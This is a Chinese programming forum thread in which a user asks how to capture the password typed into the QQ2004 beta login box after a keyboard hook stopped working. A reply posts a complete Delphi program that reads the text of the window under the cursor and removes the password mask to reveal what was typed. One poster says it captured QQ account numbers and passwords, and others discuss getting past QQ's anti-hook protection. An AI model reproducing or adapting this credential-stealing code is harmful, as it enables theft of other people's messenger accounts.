QQ2004杀死了钩子吗?
偶用原先的钩子想捕获QQ2004最新的BETA版本的
登陆框的密码框中内容,结果发现什么也
捕获不到,该怎么对付它啊??

解决方案 »

  1.   

    用专用的工具了!!现在,很多比较专业的程序都加了几道防护的方法,
    就算你hook进它的进程,也不一定有用
      

  2.   

    何必要钩子呢,用下面的方法就OK了在windows任何平台看*的代码unit Unit1;
    interface
    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls, ExtCtrls;
    type
    TForm1 = class(TForm)
    Edit1: TEdit;
    Timer1: TTimer;
    procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
    procedure Label1MouseUp(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
    procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
    Y: Integer);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    private
    { Private declarations }
    public
    { Public declarations }
    end;
    var
    Form1: TForm1;
    implementation
    var
    str: array[0..19] of char;
    {$R *.dfm}
    function IsNT: Boolean;
    var
    OSVersionInfo: TOSVersionInfo;
    begin
    OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
    GetVersionEx(OSVersionInfo);
    if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
    Result := True
    else
    Result := False;
    end;
    procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
    begin
    setcapture(handle);
    end;
    procedure TForm1.Label1MouseUp(Sender: TObject; Button: TMouseButton;
    Shift: TShiftState; X, Y: Integer);
    begin
    releasecapture;
    end;
    procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
    Y: Integer);
    var
    p1, p2: Tpoint;
    begin
    p1.X := x;
    p1.Y := y;
    p2 := clienttoscreen(p1);
    edit1.Text := inttostr(p2.X);
    end;
    procedure TForm1.Timer1Timer(Sender: TObject);
    var
    p: Tpoint;
    hd: HWND;
    l,pass,count: integer;
    begin
    GetCursorPos(p);
    hd := WindowFromPoint(p);
    if not isNt then
    begin
    l:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);
    sendmessage(hd,WM_GETTEXT,l+1,integer(@str));
    end
    else
    begin
    l:=sendmessage(hd,WM_GETTEXTLENGTH,0,0);
    sendmessage(hd,WM_GETTEXT,l+1,integer(@str));
    pass := sendmessage(hd, em_getpasswordchar, 0, 0);
    if pass <> 0 then
    begin
    postmessage(hd, em_setpasswordchar, 0, 0);
    count := sendmessage(hd, wm_gettext, 100, lparam(@hd));
    //postmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);
    sendmessage(hd, em_setpasswordchar, wparam(ord(‘*‘)), 0);
    sendmessage(hd,em_setpasswordchar, count+1,integer(@str));
    end;
    end;
    edit1.Text := str;
    end;
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    //str:= new(pchar);
    end;
    end.
      

  3.   

    上面那个落后的代码,N多软件都防止了
    考虑用外挂,在外挂中Hook应该可以的了
      

  4.   

    to ly_liuyang(Liu Yang) 
      落后吗??我就用他成功获得QQ2004的登入框的号码和密码
      这个怎么用就要看你自己了。。
      

  5.   

    beta版已经不行了 拜托测试一下!
      

  6.   

    请你下载最新的 BETA试试 说话不能太绝对了!
    http://www.skycn.com/soft/14094.html
      

  7.   

    没有错,原来我的消息发送控件也不管用了,好象屏蔽了wm_paste事件,用settext也不行,大家来测试测试,给点解决方法!QQ2004Beta好象很厉害了,各个方面做的都很好了
      

  8.   

    QQ2004Beta的密码输入真是保护得很好哦采用消息发送的方法看来是没用的了要解决真是有难度哦,期待中
      

  9.   

    to: yinzhiw(路在何方) http://www.skycn.com/soft/14094.html
    拜托 你有没有 张眼睛 你试过没就 乱说
    自己去试试!
    魔鬼兔子也不行!
      

  10.   

    我写了个钩子程序,当一按Ctrl+Enter或Alt+S时,QQ就跳出个框,提示QQ出现了问题,请重新启动,看来QQ已经屏蔽了钩子。
      

  11.   

    一点猜测:
    1、输入密码的对话框继承自其他类(非EDIT类),用WinSight32看一下是什么就应该能知道怎么对付了。2、程序可以先检测一下当前的键盘HOOK指针,如果发现存在一个非系统的HOOK指针,就会认为在前面或后面被下了一个非法的HOOK就会提示错误,从BIOS层能解决吗?没试过。
      

  12.   

    楼上所说的第一点,我查看过了。是用SPY查看的。QQ密码框是用edit类的!!
      

  13.   

    应该是继承自TEDIT类,屏蔽掉了相关功能,也可能是自己写相关类,这样常规手段就不行了,这种技术早就存在,在一些安全性很高的系统上经常采用。
      

  14.   

    可有对付的办法 VC写的类一般 都看到是他的原类名 EDIT 或BUTTON之类很少看到 其他继承类 如 TMYEDIT 很少见 不象 BORLAND的控件明显!
      

  15.   

    是的,QQ2004bate作的的确够强,,,